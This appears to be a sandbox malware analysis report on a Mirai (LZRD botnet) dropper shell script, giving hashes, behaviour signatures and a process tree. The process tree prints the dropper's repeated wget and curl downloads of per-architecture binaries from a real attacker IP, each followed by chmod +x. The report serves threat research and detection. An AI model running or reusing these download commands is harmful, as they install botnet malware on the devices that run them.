Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    07/03/2025, 05:18

General

  • Target

    97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh

  • Size

    2KB

  • MD5

    92b0a18b935a6afdea317d573967bd1e

  • SHA1

    09eeb86ddb300ff70f09613b2f50813488851c74

  • SHA256

    97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01

  • SHA512

    0abac2769286e7dcd3893ac64e604556418e134ddc6b5b38b9a7353fe3cb3048da3fa189416ec05c83147ca1f4c0a8dca2513f2fe7c93927097267884933dc14

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
    /tmp/97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1525
    • /usr/bin/wget
      wget http://23.146.184.61/hiddenbin/trw.x86
      2⤵
      • Writes file to tmp directory
      PID:1526
    • /usr/bin/curl
      curl -O http://23.146.184.61/hiddenbin/trw.x86
      2⤵
      • Writes file to tmp directory
      PID:1531
    • /bin/cat
      cat trw.x86
      2⤵
        PID:1532
      • /bin/chmod
        chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1533
      • /usr/bin/wget
        wget http://23.146.184.61/hiddenbin/trw.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1538
      • /usr/bin/curl
        curl -O http://23.146.184.61/hiddenbin/trw.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1539
      • /bin/chmod
        chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.mips trw.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1541
      • /usr/bin/wget
        wget http://23.146.184.61/hiddenbin/trw.arc
        2⤵
        • Writes file to tmp directory
        PID:1546
      • /usr/bin/curl
        curl -O http://23.146.184.61/hiddenbin/trw.arc
        2⤵
        • Writes file to tmp directory
        PID:1547
      • /bin/chmod
        chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.mips trw.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1549
      • /usr/bin/wget
        wget http://23.146.184.61/hiddenbin/trw.i468
        2⤵
          PID:1554
        • /usr/bin/curl
          curl -O http://23.146.184.61/hiddenbin/trw.i468
          2⤵
          • Writes file to tmp directory
          PID:1555
        • /bin/chmod
          chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.i468 trw.mips trw.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1557
        • /usr/bin/wget
          wget http://23.146.184.61/hiddenbin/trw.i686
          2⤵
            PID:1562
          • /usr/bin/curl
            curl -O http://23.146.184.61/hiddenbin/trw.i686
            2⤵
            • Writes file to tmp directory
            PID:1563
          • /bin/chmod
            chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.i468 trw.i686 trw.mips trw.x86
            2⤵
            • File and Directory Permissions Modification
            PID:1565
          • /usr/bin/wget
            wget http://23.146.184.61/hiddenbin/trw.x86_64
            2⤵
              PID:1570
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1571
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.i468 trw.i686 trw.mips trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1573
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1578
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1579
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1581
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.arm
              2⤵
              • Writes file to tmp directory
              PID:1586
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.arm
              2⤵
              • Writes file to tmp directory
              PID:1587
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-ENG7zw systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1589
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.arm5
              2⤵
              • Writes file to tmp directory
              PID:1594
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.arm5
              2⤵
              • Writes file to tmp directory
              PID:1595
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.arm5 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1599
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.arm6
              2⤵
              • Writes file to tmp directory
              PID:1604
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.arm6
              2⤵
              • Writes file to tmp directory
              PID:1609
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.arm5 trw.arm6 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1613
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.arm7
              2⤵
              • Writes file to tmp directory
              PID:1618
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.arm7
              2⤵
              • Writes file to tmp directory
              PID:1623
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-bolt.service-Cg2jdB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1625
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.ppc
              2⤵
              • Writes file to tmp directory
              PID:1630
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.ppc
              2⤵
              • Writes file to tmp directory
              PID:1637
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1641
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.spc
              2⤵
              • Writes file to tmp directory
              PID:1646
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.spc
              2⤵
              • Writes file to tmp directory
              PID:1653
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1661
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.m68k
              2⤵
              • Writes file to tmp directory
              PID:1666
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.m68k
              2⤵
              • Writes file to tmp directory
              PID:1667
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1669
            • /usr/bin/wget
              wget http://23.146.184.61/hiddenbin/trw.sh4
              2⤵
              • Writes file to tmp directory
              PID:1674
            • /usr/bin/curl
              curl -O http://23.146.184.61/hiddenbin/trw.sh4
              2⤵
              • Writes file to tmp directory
              PID:1675
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh config-err-ASBG0Z netplan_zus_ecme snap-private-tmp ssh-Gsfhk06Mg0aH systemd-private-d2ac9fea49a5420abb17bd4c01effd10-colord.service-uuMDXB systemd-private-d2ac9fea49a5420abb17bd4c01effd10-ModemManager.service-qBW95W systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-resolved.service-yKNmlb systemd-private-d2ac9fea49a5420abb17bd4c01effd10-systemd-timedated.service-wi6RQ3 trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.sh4 trw.spc trw.x86 trw.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1677

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/trw.x86

            Filesize

            20KB

            MD5

            f6f62476e54629a3ef494d918cc2a921

            SHA1

            4c041456f2695eb66b953e6caa640fe24f8467ff

            SHA256

            9aeec2bcc4f00c0458d786066d910827abdfe95f441a2ade518df222efb439f5

            SHA512

            fbdf3bc209c16870abc1fd2ff349a726d12ed0a6c4b32b1ea36b4f47c02da236e3cf70e63380156c508adbae98e621e1ed377d604280a9180ebe784c6bb66302